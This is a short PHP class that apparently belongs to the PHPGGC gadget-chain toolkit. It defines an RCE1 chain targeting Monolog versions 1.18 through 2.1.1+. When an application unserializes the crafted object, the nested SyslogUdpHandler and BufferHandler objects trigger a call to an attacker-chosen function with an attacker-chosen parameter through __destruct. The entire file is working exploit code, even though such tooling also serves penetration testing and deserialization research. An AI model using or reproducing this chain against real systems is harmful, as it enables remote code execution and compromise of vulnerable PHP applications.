<?php
namespace GadgetChain\Monolog;
class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '1.18 <= 2.1.1+';
public static $vector = '__destruct';
public static $author = 'cf';
public function generate(array $parameters)
{
$function = $parameters['function'];
$parameter = $parameters['parameter'];
return new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', $function],
[$parameter, 'level' => null]
)
);
}
}